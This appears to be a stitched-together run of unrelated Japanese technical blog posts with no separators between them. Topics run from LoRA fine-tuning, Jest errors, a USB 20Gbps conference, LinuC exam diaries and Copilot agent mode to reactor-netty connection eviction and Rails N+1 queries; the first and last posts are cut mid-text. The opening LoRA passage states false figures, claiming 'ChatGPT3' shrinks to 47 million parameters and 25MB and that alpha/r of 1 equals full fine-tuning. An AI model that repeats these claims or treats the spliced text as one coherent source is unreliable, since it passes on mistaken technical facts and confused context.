ChatGPT3の1750億のパラメータは固定したまま、新しく小さなアダプター（行列AとB）を追加し、そのアダプターだけを学習する方法LoRAを発見しました。
結果、LoRAはChatGPT3を4700万のパラメーターに減らし25MBのサイズまで縮小させました。

ちなみにLoRAは画像生成AIや大規模言語モデル以外にもMatrix　Multiplication(行列の乗法)を使用している全てのモデル（SVM等）に使用可能です。

２．LoRAのパラメーターとは？
LoRAはスケーリングファクター（alpha）と微調整の大きさのランク（r）があります。
数学的にalpha/rです。

スケーリングファクター：
alphaの役目は変化量のコントロールしながら、モデルに新しいウェイトを付け加えます。
alpha/r　＝　１なら全パラメーターのファインチューンに相当します。
alpha/r　＝　０なら基礎モデルと結果は同じになります。

ランク：
基本的には「１，２，４，８，６４」から選ぶのが最適で、トレーニングデータが基礎モデルの学習データと大きく異なればランクを上げる事をお勧めします。

![Screenshot 2025-06-15 235412.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4108653/7ca6b102-78e1-4c1e-86e8-371421516c07.png)
また、（上記の写真は基礎モデルのパラメーターのサイズ）モデルのパラメーターが大きければ（様々なデータを学習している為）LoRAを入れるランクは低くても結果は出やすい傾向です。
【エラー解消】SyntaxError: Private field '#root' must be declared in an enclosing class

## 結論
moduleNameMapperにscssとsassを追加する
```jest.config.js
export default {
  preset: "ts-jest",
  testEnvironment: "jsdom",
  setupFilesAfterEnv: ["./jest.setup.ts"],
  transform: {
    "^.+\\.(ts|tsx)$": "ts-jest",
  },
  moduleNameMapper: {
    "\\.(css|less|scss|sass)$": "identity-obj-proxy",
  },
};
```

## エラー
テスト実行時に以下のエラーが発生した
`SyntaxError: Private field '#root' must be declared in an enclosing class`

## 原因
開発中にCSSからSCSSに変更したのが原因
2025年6月10日開催 Infineon USB 20Gbps カンファレンス ~次世代USB接続の未来を切り拓く~

2025年6月10日に開催されたUSB 20 Gbps カンファレンス ~次世代USB接続の未来を切り拓く~に出席しました。

https://www.infineon.com/cms/jp/product/promopages/event/ez_usb_seminar/#goto-form

# 基調講演①高速インターコネクト市場の統合と展望
USBとPCI Express,Thunderbolt,DPとの関係を説明頂きました。
![IMG_9002.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/22cdab62-a306-43b1-aea0-ff24389c15a5.jpeg)
### PCI Express
初期のPCI Expressは外付け可能でしたが、USBへの統合に伴い、外付けデバイスが排除されました。
![IMG_8989.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/4b08ac51-9d18-45a8-b26c-eea22edaa894.jpeg)
### Thunderbolt
Thunderboltは当初光ファイバーで計画されましたが、銅線に移行しUSBへ統合されました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/d816083c-bd2a-4981-84c6-38d52b3f2e1c.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/92591ba8-410c-4698-ad77-d221a47d9976.png)
### USB-Cの変遷
USB3.2からUSB4にかけてコネクタの変更だけでなく、DP(DisplayPort)とPD(PoertDelivery)のサポートが追加されました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/3ec840aa-c357-49a1-b3d5-6e9f68a48d44.png)
### USBロゴ・表記の変更
USBの表記はわかりにくく、再編されています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/3b793413-1193-40c2-beca-9ffe720fb88c.png)
# 基調講演②USB 20 Gbpsの可能性を解き放つ
EZ-USB FX20開発ボードにはFPGA(EFINIX Ti180 FPGA)が選定されており、4チャネルのMIPIデバイスが使用可能となっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/40010f78-3979-4d55-9476-b056113747ea.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/1dbfd777-9067-41ba-8ed3-7fc0f38059b4.png)
## DEMO_FX20_MIPI_001
EZ-USB FX20 MIPI to USB 20Gbps solution demo kit DEMO_FX20_MIPI_001
今後販売予定とのことですが、Raspberry Piカメラコネクタを4本搭載し、MIPI DSIコネクタも搭載しておりRaspberry Pi4個の入力が可能です。
- Efinix Ti180 FPGA
- Raspberry Pi camera connector
- 4-lane MIPI CSI-2 support
- MIPI DSI
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/e4087e47-312d-43af-b042-99ef0835bda5.png)

https://www.infineon.com/cms/jp/product/evaluation-boards/demo_fx20_mipi_001/

# セミナー① USBの基礎理解とUSB 20Gbpsアプリケーション設計（ハードウェア）
FX20のハードウェアの設計指南から構成について説明頂きました。
特にFB(フェライトビーズ）の質問は私が過去に質問したことがあり、出席者からも質問されており細かい所を押さえた好演でした。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/dcec6afd-cf03-47ea-a488-2c680337dd2e.png)
# セミナー②	USB 20 Gbpsアプリケーション設計（ソフトウェア）とUSBコンプライアンス実現
ソフトウェアはソフト開発とハンズオンで2パートに分かれて講演されました。
FX3とFX5/10/20でMCUコアが異なるだけでなく、開発環境やRTOSが異なります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/eff396e9-b0ab-4a23-ae36-e5124ad070cd.png)
サンプルファイルを使用してFX20のコンパイル、書込みデモを行いました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/70f18bf2-c015-4e7b-8e3e-dcc34eefece1.png)
__Github:EZ-USB FX20: Hello world application__

https://github.com/Infineon/mtb-example-fx20-hello-world

# 展示
PS5からの映像入力のデモをされていました。
![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/e6d0050b-e652-4308-ac9d-acb9882affa9.jpeg)
[個人開発]安全にPDFファイルを編集出来るアプリを作ってみた

### 背景
業務上、PDFファイルを「1つずつに分割する」「複数のファイルを1つに結合する」といった作業を行う機会が多くありました。これらのPDFには個人情報を含む重要な書類が含まれているため、既存のWebサービス（オンラインPDFツールなど）を利用するのはセキュリティ上の懸念がありました。

そこで、自分で安全に利用できるアプリケーションを開発することにしました。

もともとはローカルで動作するv1（Python製のスクリプト）を作っていたのですが、より使いやすくするために、v2としてWebアプリケーション化を行いました。

## サービスの概要

### pdf-edition-v2
https://pdf-edition-v2.vercel.app/home

### スクリーンショット

![スクリーンショット 2025-06-15 23.31.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3767231/67c7cf15-72db-4c9c-9cf1-8a38a00a5ee9.png)

![スクリーンショット 2025-06-15 23.31.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3767231/9982a5ee-e4fd-4f82-9ffe-7991aef861ef.png)



### 技術スタック


- フロントエンド: 
    - **Typescript/Next.js**
- バックエンド: 
    - **Go**
- インフラ・クラウド: 
    - **Vercel** (ホスティング)
    - **Google Cooud** (Artifacts Registry, Cloud Run)

### Github

https://github.com/kikudesuyo/pdf-edition-v2


## 実装した機能

✅ PDFの結合機能
複数のPDFファイルをアップロードし、1つのPDFにまとめることができます。
アップロード後のソート機能を実装しました。

✅ PDFの分割機能
1つのPDFファイルをページ単位で個別のファイルに分割できます。

🔐 セキュリティ
アップロードされたファイルはサーバーに保存されず、一時的に処理してすぐに削除されます。

ファイルを外部に保存しないため、安全に利用できる点が特徴です（他のオンラインサービスとの明確な差別化ポイントです）。


### 意識したこと

- ファイルのダウンロード処理の仕組みや、REST APIを通じてファイルを送受信する方法を学んだ
- 当初は、生成したファイルをストレージに保存し、URL経由でダウンロードさせる方法も検討したが、セキュリティを最優先したため、DBやホスティングを使わずに完結する形で実装した
- UIにもこだわり、Techサイトっぽいモダンなデザインに仕上げた


## さいごに
今回、自分でこういったファイル編集サイトを作ったことで、セキュリティに対する意識が高まったと感じています。
安全性を重視して作ったサイトなので、ぜひ一度使ってもらえると嬉しいです。

### URL
https://pdf-edition-v2.vercel.app/home
隠写術　Steganography

#### ステガノグラフィ（隠写術）

**ステガノグラフィ（Steganography）** とは、**秘密の情報を一見普通のデータに見える媒体に隠す**技術であり、たとえデータが傍受されたとしても、秘密が含まれていることに気づかれないようにします。

通常は、暗号化されたメッセージをさらにステガノグラフィで画像や動画に埋め込むことで、「二重の保護」が実現されます。

####  簡単な理解

- **暗号化**：情報の内容を読めなくする（が、暗号だとバレる）
- **ステガノグラフィ**：情報を送っていること自体を隠す（「不可視の通信」）

#### 一般的なステガノグラフィの媒体

| 媒体         | 隠蔽方法                                                     |
| ------------ | ------------------------------------------------------------ |
| 画像         | ピクセルの最下位ビット（LSB）、透明度レイヤー、色チャネルの微差など |
| 音声         | 音声波形の微弱な変調、エコーに埋め込む手法など               |
| 動画         | 各フレームへの情報埋め込み、フレーム間の明度差の操作など     |
| テキスト     | 空白の数、綴りのバリエーション、フォントの微小差異、Unicode操作など |
| ネットワーク | TCP/IPパケットの順序や偽装されたフィールドに情報を埋め込む   |

####  暗号化との違い

| 項目           | ステガノグラフィ             | 暗号化                   |
| -------------- | ---------------------------- | ------------------------ |
| 気づかれにくさ | 情報があるとは気づかれにくい | 一目で暗号文と分かる     |
| 改ざん耐性     | 一般的には弱い               | 通常は強い（鍵あり）     |
| 情報の守り方   | 情報を「隠す」               | 情報を「鍵でロックする」 |

####  主な利用シーン

| シーン                                           | 説明                                                         |
| ------------------------------------------------ | ------------------------------------------------------------ |
| デジタル著作権透かし（例：抖音の「隠しコード」） | 画像や動画の出所追跡、無断転載防止に活用                     |
| 情報対抗（例：ダークウェブ通信）                 | 機密情報の存在を隠しながら安全に伝達する手段                 |
| データ完全性検証                                 | 改ざん検出のための不可視マーカーとして使用                   |
| マルウェア通信                                   | 画像やDNSパケット内にコマンドを隠す（APT攻撃でよく使われる） |
LinuC（101試験）の合格体験記

## はじめに

LinuC（101試験）に合格したのでその体験記です。

スコアは693点でしたので、85%程度取れていることになります。ちなみに合格ラインのスコアは480点です。

ほぼほぼ暗記が問われる試験です。コマンドのオプションをたくさん覚える必要があります。viの操作コマンドも暗記が必要です。

パッケージ管理システムのオプションもややこしいのがたくさんあり、頑張って覚えなくてなりません。aptやyumはそうでもないのですが、dpkg、rpmのオプションには結構ややこしいのがあります。

難しいオプションは隅から隅まで全部覚えておかなくても、なんとかなるかと思います。基本的なオプションに関しては、漏れなくしっかりと暗記する必要があります。難しいものもプラスα押さえておけば合格できる試験です。

Linuxを使う人であれば最初の登竜門になる試験かと思います。Linux系の試験で一番易しい試験にではありますが、初学者であればそれなりに難しいと感じるかと思います。初学者であればまずは、コマンドをたくさんを打って慣れていくところから入っていった方がいいかと思います。特に、tar、sed、sort、cutあたりはコマンドは実際に打って、慣れることが肝心だと思います。

## 本番試験の感想

試験は60問で90分です。割と簡単な問題ばかりで構成されているといった印象でした。ちゃんと覚えてさえいれば解ける問題ばかりです。ときどきひっかけのような問題や、問題集でも見たことのないような問題も含まれていましたが、100点を取る必要はないため、しっかりと落ち着いて解けば、合格ラインを取ることはさほど難しくありません。

長文の問題は出てこないため１問を解くのにそれほど時間はかかりませんでした。自分は50分で一通り解き終わり、10分で保留にしていた問題の5～6問をじっくりと解き、その後、25分かけて全問見直しを行い、残り5分を残して終了としました。

## 使った教材

自分は下記の２種類を使いました。この２種類を８割程度できるようにしてしておけば、ほぼほぼ合格できるかと思います。

#### Ping-t

https://mondai.ping-t.com/g#content-large_category_4

最初はPing-tから入りました。無料の割には問題の量はけっこうなボリュームです。これは超おすすめです。Pint-tは3回ほど繰り返し、８割程できるようにしておけば、ほぼほぼ合格圏に入っているでしょう。また、コマ問もしっかりやっておく必要があります。

#### Linux教科書 LinuC レベル1 スピードマスター問題集

https://www.shoeisha.co.jp/book/detail/9784798168876

Ping-tの次にこの問題集をやりました。Ping-tにはない問題もいくつかあり、わりと勉強になりました。個人的にそれほど何周もする必要はないかと思います。模擬試験もおすすめです。本番直前に必ずやっておいた方がいいでしょう。この問題集だけだと試験対策としては、少しおぼつかない印象です。Ping-Tと両方やっておけばまあ、問題ないでしょう。
copilotのAgentモードで簡単なwebアプリを作ってみた

### Agentモードを使ってみた
これまでAskモードでを主に使ってあくまでコーディングのサポートとい感じでcopilotを使っていましたが、今年の3月頃からagentモードが追加されていたので使ってみました。

### 使い方
vscodeでcopilotのチャットを開くとテキストの入力欄左下にモードの選択欄があるので、そこで「Agent」を選択して、Agentモードでcopilotを動かします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1036184/2e4232bb-318c-46e1-9bad-1f784fb0261a.png)


### 完成まで
※途中経過の画面などは保存し忘れました。。。。

私は学園アイドルマスターをやっているのですが、プレイする際にいつも同じ内容をプレイしてしまうことが多いので、ルーレットでプレイする内容を決めることができるルーレットを作ろうと思いました。  
最初に以下のような感じで何をしたいかを伝えました。
```
ルーレットのwebアプリケーションを作成したいです。
next.jsで作成してください。
キャラとタイプを選択して、ルーレットの対象を選びます。
ルーレットを回すとどのキャラのどのタイプなのか決めることができます。
```
上記を伝えるとpackage.jsonなど設定ファイルを含む各種ファイルの作成を始めます。
ですが基本的に1発で思ったものはやはりできませんでしたので、１つ１つ自分好みの仕様を伝えて、進めてきました。


例えばルーレットの元データとなる値に追加のプロパティを自分で書き加えました。
```
{ id: 1, name: '花海 咲季'},

{ id: 1, name: '花海 咲季', color: '#cf2e2e', ableTypes: new Set([1, 2, 3]) },
```
ここで以下のように要望を伝えました。
```
固有のカラーと使用できるタイプを個別に設定します。
ルーレット対象、結果の表示に固有のカラーを用いてください
```
これで細かい配色やレイアウトを以下のようにデザインにしてくれます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1036184/383b0515-38fe-479e-8915-efffb0d5c482.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1036184/7ac92064-f138-4134-84cb-3711817f0233.png)
ここで思ったことはテキストで指示をするだけでなく、ソースを自分で書き換えて、それをもとに修正をしてくれるので、言語化がめんどくさい時などに便利だと思いました。

その後もデザインやレイアウトなど気に入らない場合はその都度修正依頼→出来栄えのチェックの繰り返しです。
ターミナルの内容も読み取って対応してくるので、ソースの修正で発生するコンパイルエラー等もすべてcopilotにお任せです。
修正は数秒で終わることはなかったので、その間好きなことをして修正が終わるのを待っていました。

その結果以下のようなページが完成しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1036184/91d083c5-b9e7-44a6-9021-5a596b644ab9.png)

### 最後に
当たり前ですが、askモードとの決定的な違いはソースの修正も行ってくれるところです。数ファイルの修正ならば、何をしたかを確認はできると思います。ですがファイル数が多くなるとソースファイルの読み込みが多くなるので、大規模なアプリケーションでは厳しい場合が出てくるのかなという印象が少しあります。ですが確実に作業効率は上がりますし、実装の幅も格段に広がるので、活用すべき機能だと思います。
🗂️ プロジェクトの報告書の書き方まとめ【テンプレート付き】

## はじめに

プロジェクトを円滑に進めるには、状況を正しく共有する「報告書」が欠かせません。この記事では、現場でよく使われる以下4種類の報告書について、「何のために必要か」「どう書けばいいか」をテンプレート付きで紹介します。

---

### 🚧 1. 進捗報告書（Progress Report）

#### 🔎 目的

* チームや関係者に**現在の状況を共有**
* **遅延・問題の早期発見**と対処を促す

#### 📝 テンプレート

```markdown
## 🚧 進捗報告書

- 日付：2025年6月15日
- 担当者：山田 太郎
- プロジェクト名：新ECサイト開発

### ✅ 今週の進捗
- トップページのデザイン完了
- 商品一覧APIの実装完了

### 🗓️ 次週の予定
- 商品詳細ページの実装
- 管理画面UIの設計

### ⚠️ 課題・懸念事項
- APIレスポンスが不安定（原因調査中）
- フロントエンド担当が1名休職予定
```

---

### 🏁 2. 完了報告書／成果報告書（Final Report）

#### 🔎 目的

* プロジェクトの**最終成果を明確に記録**
* 他チームへの**ナレッジ共有**や将来のプロジェクトの参考に

#### 📝 テンプレート

```markdown
## 🏁 完了報告書

- プロジェクト名：業務自動化ツール導入
- 実施期間：2025年3月〜2025年6月
- 担当：鈴木 花子

### 🎯 目的と達成状況
- 月間作業時間を20%削減 → 達成（23%削減）

### 🌟 主な成果
- 自動レポート生成機能の開発
- Excelマクロの廃止

### 🧠 学び・改善点
- 初期要件定義の精度が不十分だったため、後半で仕様変更が多発

### 🔄 今後への提案
- 初期段階での関係者ヒアリングを強化
```

---

### 🔧 3. 障害報告書（Issue Report）

#### 🔎 目的

* 障害の**再発防止**と**対応履歴の共有**
* 問題解決の透明性を高める

#### 📝 テンプレート

```markdown
## 🔧 障害報告書

- 発生日：2025年6月10日 14:05
- 担当者：佐藤 次郎
- システム名：在庫管理システム

### ❗ 障害概要
- ログイン不能状態（HTTP 500）

### 🕵️‍♀️ 原因
- DBの接続上限を超過していた

### 🛠️ 対応内容
- 不要な接続を開放
- 接続プールの設定見直し（max_connections を50→100に）

### 🚫 再発防止策
- 接続数監視アラートを設定
- 定期的なDBチューニングのスケジュール化
```

---

### 🧾 4. 議事録（Meeting Minutes）

#### 🔎 目的

* **会議の決定事項を明文化**
* **タスクと責任者の明確化**

#### 📝 テンプレート

```markdown
## 🧾 議事録

- 会議名：開発キックオフミーティング
- 日時：2025年6月12日 10:00〜11:00
- 参加者：山田、佐藤、鈴木

### 📌 議題
- スケジュール確認
- UI設計方針の共有

### ✅ 決定事項
- 開発期間は7月末までとする
- UIはFigmaを使用し、週次でレビュー

### 📝 ToDo（担当）
- スケジュール表作成（山田）
- デザイン初稿の作成（鈴木）
```

---



## ✅ まとめ

報告書は「書くことが目的」ではなく、**プロジェクトを成功に導くための手段**です。
状況を正しく伝え、関係者との認識を揃えることで、トラブルを防ぎ、スムーズな進行が実現できます。

今回紹介したテンプレートを活用すれば、誰でもすぐに実践できるはずです。
まずは「進捗報告書」から、**1つ書いてみること**から始めてみましょう！
とある環境でとある広告を読み込むとbrowserが死ぬ

と言っても必ず撃沈(沈黙)するわけではない。qiita等で広告があるpageではchrome様は[x_x]などという間抜け面を晒して下さる事がある。まあ広告が原因だとは断言できないが、我が流派は確信しているらしい。
再現した環境は**Windows7 chrome 109.0.5414.120**である。役に立つかどうか分からないが、以下のようなbookmarkletを召喚して対策してみる
```plain:iframe殲滅
javascript:void%20function(a){for(a%20of[...document.getElementsByTagName("iframe")])a.outerHTML=null}()
```
```plain:script滅殺
javascript:void%20function(a){for(a%20of[...document.scripts])a.outerHTML=null}()
```
bookmarkletを連打するのだ!
## 余談
ところで以下のscriptは全く異なる動作をするが、挙動の違いがわかるだろうか?
```html
<a href>A</a><a href>B</a><a href>C</a><a href>D</a>
<script>
for(let a of document.links)a.outerHTML=""
</script>
```
```html
<a href>A</a><a href>B</a><a href>C</a><a href>D</a>
<script>
for(let a of[...document.links])a.outerHTML=""
</script>
```
なんと前者はa要素が生き残り、後者は全滅するのである! ちなみに前者の場合は偶数番目が死に、奇数番目が生存。…さて、説明してもらおうか(しない)
【学習】知らなかった。yes/noを求められない事があるなんて…。

## はじめに
あるディレクトリを削除しようとした時、どうすればいいのか分からなかったことについて今回取り上げたいと思います。

## 状況
- GithubのCodespacesを使用
- 学習のGithubをクローンしたけど、手違いがあったので一度クローンしたディレクトリを削除したい

### 実行したコマンド
削除の為に実行したコマンドは`rm -r <ディレクトリ名>`です
※「-r」を「-rf」にすると強制削除らしい？

```
 ➜ /workspaces/rails8 (main) $ ls
README.md rails8-sample
➜ /workspaces/rails8 (main) $ rm -r rails8-sample
rm: remove write-protected regular file 'rails8-sample/.git/objects/pack/pack-68bd4.pack'? 
```

### あれ、「？」だけで終わってるけど、どうすればいいの
はい。つみました😭
というのは冗談で`rm: remove write-protected regular file`で検索をかけてみると、下記記事がみつかりました
　
※Google先生に翻訳をおねがいすると「rm: 書き込み保護された通常ファイルを削除する」という結果になりました。

https://qiita.com/monji586/items/d246d59c77b3ae5e28e4

> 「y」を入力してからエンターを押してください。
「y/n？」といった確認メッセージが表示されない場合もあるようです。


## おわりに
文章の終わりに「？」が付くものにはなにかしら「確認メッセージ」が欲しいところです💦
今回の学びは「y/n？」が表示されないものがある。という事がしれてよかｔ
reactor-netty のevictInBackground



## 🔍 `evictInBackground()` の動作とは？

### ✅ 概要：

`evictInBackground(Duration)` は、`reactor-netty` の `ConnectionProvider` に設定できる機能で、**接続プール内の接続がまだ有効かをバックグラウンドで定期的にチェックして、無効な（切断された）接続を取り除く**ための仕組みです。

---

## 🔄 動作の流れ（イメージ）

1. **WebClient は接続プール（`ConnectionProvider`）から接続を取得しようとする**。
2. 通常ならプール内の接続を再利用します。
3. しかし、**サーバ側が keep-alive タイムアウトなどで接続を既に切っていた場合**、プール内に「**死んだ接続**」が残っていることがあります。
4. これを使おうとすると `Connection reset by peer` や `IOException` などの例外になります。

---

### ✅ そこで登場するのが `evictInBackground`：

* 例えば `evictInBackground(Duration.ofSeconds(30))` と指定すると、
* **30秒ごとにプールをスキャン**し、
* TCPレベルで切れてしまっている接続（"dead connections"）を削除します。

---

### 🧠 では「切れてたら新しい接続になるのか？」

* はい、**その通りです**。
* `evictInBackground` によってプール内から死んだ接続が排除されれば、
* WebClient は新規の接続を張って通信を行います（正常にリクエストが通ります）。

---

## ✅ 注意点

* `evictInBackground()` のスキャンは非同期・バックグラウンドで行われるため、**即時反映ではない**点に注意（最大 `Duration` 分の遅れがある）。
* **パフォーマンスにほぼ影響しない**一方、接続エラーの発生率をかなり抑えることができます。
* `maxIdleTime()` と組み合わせるとさらに効果的です。

---

## 🧪 おすすめ設定例（まとめ）

```java
ConnectionProvider provider = ConnectionProvider.builder("custom")
    .maxConnections(100)
    .maxIdleTime(Duration.ofMinutes(5))                 // 長く再利用したいなら伸ばす
    .evictInBackground(Duration.ofSeconds(30))          // 30秒ごとに死んだ接続を掃除
    .build();

HttpClient httpClient = HttpClient.create(provider);

WebClient webClient = WebClient.builder()
    .clientConnector(new ReactorClientHttpConnector(httpClient))
    .build();
```

---

## ✅ 結論

* `evictInBackground()` は **死んだ接続を定期的に掃除する**機能。
* 切断された接続を検出した場合、それは再利用されず、**新しい接続が自動的に使われます**。
* keep-alive タイムアウトによる「見えない切断」に強くなるため、WebClient を安定化させる上で非常に重要です。
LinuC-2合格体験記（教材、勉強方法）

## はじめに
LinuC-2を受験し合格したので、合格までのプロセスをまとめておきます。
これから受験する方の参考になれば幸いです。
LinuC-2の試験概要については下記をご確認ください。

https://linuc.org/linuc2/

## 筆者の属性
参考までに2025年6月時点の私の経歴を載せておきます。
+ 元地方公務員
+ プログラマを2年経験し、インフラエンジニアへジョブチェンジ
+ クラウドの運用SEを1年経験
+ 現在はサーバエンジニア1年目としてAWSや仮想基盤の設計構築、テスト、移行を担当中

## 結果
201、202ともに573点/800点でした。
480点以上で合格という噂ですので可もなく不可もなくといった結果です。

個人的に202は初見問題が複数出題され、試験中焦りましたが、覚えのある問題を確実に正解することで点数を稼げたと思います。初見問題についても、諦めず消去法で対応するなど、少しでも正答できるよう意識しました。
また、試験時間がかなり余ったため、全問再確認できた点もよかったです。

なお、学習期間は計3か月程度です。

## 学習教材
教材は参考書1冊、問題集1冊を使用しました。
巷で有名なping-tや学易は使用していません。
資格勉強にかける時間とお金のバランスが重要と考え、各一冊をやりこむ方針で学習にあたりました。
* 参考書 ：「Linux教科書 LinuCレベル2 Version 10.0対応」（あずき本）


https://www.amazon.co.jp/gp/product/4798167967/ref=as_li_tl?ie=UTF8&camp=247&creative=1211&creativeASIN=4798167967&linkCode=as2&tag=lpijapan01-22&linkId=204a83460cf66d3b04bef66af8578f19

* 問題集：「Linux教科書 LinuCレベル2 スピードマスター問題集 Version 10.0対応」（スピマス）


https://www.amazon.co.jp/gp/product/4798167975/ref=as_li_tl?ie=UTF8&camp=247&creative=1211&creativeASIN=4798167975&linkCode=as2&tag=lpijapan01-22&linkId=e93caa2f3d35a0502e8fb0ce9a0ede41

## 勉強方法
王道ですが、ざっくりインプットをし、あとはひたすらアウトプットの方法をとりました。

1. まずはあずき本を通読し、全体像をざっくりつかみます。
2. その後、スピマスを正答率100%になるまで繰り返し解きます。
なお、この時点では巻末の模試は解きませんでした。
スピマスの解説だけで理解できない箇所はあずき本で確認するとよいでしょう。あずき本は辞書的な役割を果たしてくれます。
3. スピマスの模試を解きます。
こちらも正答率100%になるまで繰り返し解くことをおすすめします。
4. 最後にあずき本の各章末の問題と巻末の模試を解きます。
こちらも正答率100%になるまで繰り返し解くとよいでしょう。

ゴールは「各問題を根拠をもって回答できること」です。
単に合格するためであれば、解説上の周辺知識の全てを事細かに
理解し暗記することは不要と思います。

## 最後に
持論ですが、資格は知識を浅く広く習得するためのツールと考えています。
より深い内容は実務で身に着ければよいというスタンスです。

そのため、今回の試験勉強にあたり、実機操作は一切行いませんでした。
当然のことながら、実機操作を行うことで実践的な力が身につくのは事実かと思います。教材に仮想環境のイメージファイルが載っていますので、学習に時間をかけられる方はぜひ実機を触ってみてください。

対策すれば必ず受かる試験と思いますので、ぜひがんばってみてください！
Background Musicで音が途切れ途切れになったり、音がでかくなった時の対処法?

# 注意
根本的な理由を見つけていないため、対処的で、完全な解決ではない。

# 環境
* Intel MacBook Air
* macOS Monterey 12.7.6
* Background Music 0.4.3

# 発生タイミング
* macOS Catalinaの時、この問題は発生しなかった
* macOS Montereyにああぷグレードしてから発生するようになった
* 内部スピーカーからヘッドフォン、Bluetoothスピーカーなどに変えた時に発生する
* 内部スピーカーであっても、スリープから戻った時に発生する

# 問題の内容
* 音声が途切れ途切れになる
* 音量が0 or 100みたいな状態で、Background Musicのアプリごとの音量設定が意味をなさなくなる

![Background Musicのアプリごとの音量設定画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/233141/fc38d96e-f5ab-4dc0-99f8-30cd26f5371c.png)

# 対処法
* オーディオMIDI設定にて、BackgroundMusicで指定しているデバイスのフォーマットを44,100Hzにする(内部スピーカーと同じフォーマット)
* 例えば接続がBackground Music→USB Audio Deviceだとすると、USB Audio Deviceのフォーマットを44,100Hzにする

![オーディオMIDI設定画面](https://private-user-images.githubusercontent.com/32955729/455218847-15efcf3c-343b-4514-bd4f-4e370803658b.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDk5OTUzMjEsIm5iZiI6MTc0OTk5NTAyMSwicGF0aCI6Ii8zMjk1NTcyOS80NTUyMTg4NDctMTVlZmNmM2MtMzQzYi00NTE0LWJkNGYtNGUzNzA4MDM2NThiLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTA2MTUlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwNjE1VDEzNDM0MVomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWIwYjMxNTJhOTY4YTY4MmQxODU5ZmYwOTViZjA5Y2UyZWRiZmQwZDI1MzMyZmY3M2E0M2ExMjQ2NWJlMzdhZWQmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.Syr7pCc6yyLaHE_hNEe3LAJHKMay80-wQWDNZ3Y9rbU)

# 関連
* Audio is extremely distorted and choppy #813
, GitHub, https://github.com/kyleneideck/BackgroundMusic/issues/813 (閲覧日: 2025-0615)
* Background Musicで、時々音が変(語彙の問題で表現できない)
, Qiita, https://qiita.com/WS-Wsans/questions/5a7627773185024530e8 (閲覧日: 2025-0615)
Amazon Q CLIを使ってみて

# 概要
Tシャツキャンペーンがあったのでやってみました。

https://aws.amazon.com/jp/blogs/news/build-games-with-amazon-q-cli-and-score-a-t-shirt

# 作ったもの
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4114359/4de72297-d4e5-4e41-9d9a-8da584768a1a.png)

みつばちをクリックするゲームですずめばちを3回クリックしたら負けになります。

コードはこちらにあります。

https://github.com/kf-pineapple/aws-q/tree/master/app/bee

# まとめ
日本語でちょろっと書いたものをchatしながらこんな簡単に作成してくれることに驚きを感じました。

# その他
後でまた環境構築するの手間かなと思ってvscodeのdevcontainerも調べながらやってみました。
Railsの落とし穴？ N+1問題とその対策について

# 初めに
Railsアプリケーションのパフォーマンスチューニングにおいて、避けて通れないのがN+1問題です。

私は「なんとなく知っている」程度だったのですが、Railsアプリケーションを開発した際に、開発ログで同じようなSQLクエリが何度も繰り返し表示されていることに気づき、詳しく調べてみた結果、このN+1問題が発生していることが分かりました。

このN+1問題はアプリケーションの速度低下の大きな原因となるため、その本質を理解し、適切に対策することが重要です。

本記事では、私がN+1問題について改めて学び直した備忘録も兼ねて、その発生メカニズムから具体的な対策までをまとめます。もし間違っている点や、より良い表現などがあれば、ぜひご指摘いただけますと幸いです！

## N+1問題とは
N+1問題とは、主にActive Recordの関連付け（`has_many`,` belongs_to`など）を扱う際に発生する、データベースへの余分なクエリ発行問題のことです。

例えば、**「記事一覧とそれぞれの記事の著者名を表示したい」**といった場面を考えてみましょう。

```
# posts_controller.rb
# ポストの情報を全て取得

@posts = Post.all
```

```
# posts/index.html.erb
# コントローラで取得した全ポストの情報と各ポストに紐づいているuserの情報を取得

<% @posts.each do |post| %>
    <%= post.title %> (著者： <%= post.user.name %>)
<% end %>
```

一見するとシンプルなコードですが、実は以下のような非効率なSQLクエリが実行されてしまいます。

１.まず、全ての記事を取得するために1回のSQLクエリが発行される。
```
SELECT * FROM posts;
```
２.次に、ループ内でそれぞれの記事の著者（`post.user`）にアクセスするたび**個別のユーザ情報取得クエリ**が発行される。
```
SELECT * FROM users WHERE id = 1;`  # Post ID 1 のユーザー
SELECT * FROM users WHERE id = 2;`  # Post ID 2 のユーザー
